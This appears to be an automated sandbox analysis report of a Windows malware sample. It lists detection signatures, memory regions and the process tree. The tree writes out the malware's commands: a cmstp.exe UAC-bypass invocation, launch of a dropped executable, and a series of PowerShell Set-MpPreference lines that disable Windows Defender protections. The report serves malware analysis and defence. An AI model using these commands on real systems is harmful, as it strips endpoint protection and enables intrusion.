Analysis

  • max time kernel
    37s
  • max time network
    65s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    13/10/2020, 14:56

General

  • Target
    b12eb506a5ee264b880686ac4bb29e8d.exe
  • Size 182KB
  • Sample201013-mt2ryksnv6
  • SHA256 23bd17fba8c0cb660dada2c952431dc7e335bbdfb8e34078da941a29652526d5
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 974 IoCs
  • Suspicious use of AdjustPrivilegeToken 289 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b12eb506a5ee264b880686ac4bb29e8d.exe
    "C:\Users\Admin\AppData\Local\Temp\b12eb506a5ee264b880686ac4bb29e8d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Users\Admin\AppData\Local\Temp\b12eb506a5ee264b880686ac4bb29e8d.exe
      "C:\Users\Admin\AppData\Local\Temp\b12eb506a5ee264b880686ac4bb29e8d.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3096
      • \??\c:\windows\SysWOW64\cmstp.exe
        "c:\windows\system32\cmstp.exe" /au C:\Windows\temp\icbnficm.inf
        3⤵
          PID:3172
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c start C:\Windows\temp\lmt3xsk0.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:196
        • C:\Windows\temp\lmt3xsk0.exe
          C:\Windows\temp\lmt3xsk0.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" Get-MpPreference -verbose
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3168
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3784
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2076
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:572
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4140
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4236
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4356
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4448
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /IM cmstp.exe /F
        2⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1016

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/572-58-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/728-1-0x0000000000740000-0x0000000000741000-memory.dmp

          memory/728-5-0x0000000001130000-0x000000000113D000-memory.dmp

          memory/728-4-0x0000000002A30000-0x0000000002A4D000-memory.dmp

          memory/728-3-0x0000000005460000-0x0000000005461000-memory.dmp

          memory/728-0-0x00000000736B0000-0x0000000073D9E000-memory.dmp

          memory/1040-47-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/1852-54-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/1880-49-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/2076-55-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/2364-31-0x00000000008E0000-0x00000000008E1000-memory.dmp

          memory/2364-29-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/3096-6-0x0000000000400000-0x0000000000418000-memory.dmp

          memory/3096-9-0x00000000736C0000-0x0000000073DAE000-memory.dmp

          memory/3096-12-0x0000000004E30000-0x0000000004E35000-memory.dmp

          memory/3096-23-0x0000000005030000-0x0000000005031000-memory.dmp

          memory/3096-22-0x00000000050C0000-0x00000000050C1000-memory.dmp

          memory/3168-45-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/3172-19-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

          memory/3172-17-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

          memory/3784-44-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4016-42-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4020-35-0x00000140E9D60000-0x00000140E9D61000-memory.dmp

          memory/4020-34-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4020-36-0x00000140E9F10000-0x00000140E9F11000-memory.dmp

          memory/4140-61-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4236-65-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4356-68-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp

          memory/4448-70-0x00007FFFFAC40000-0x00007FFFFB62C000-memory.dmp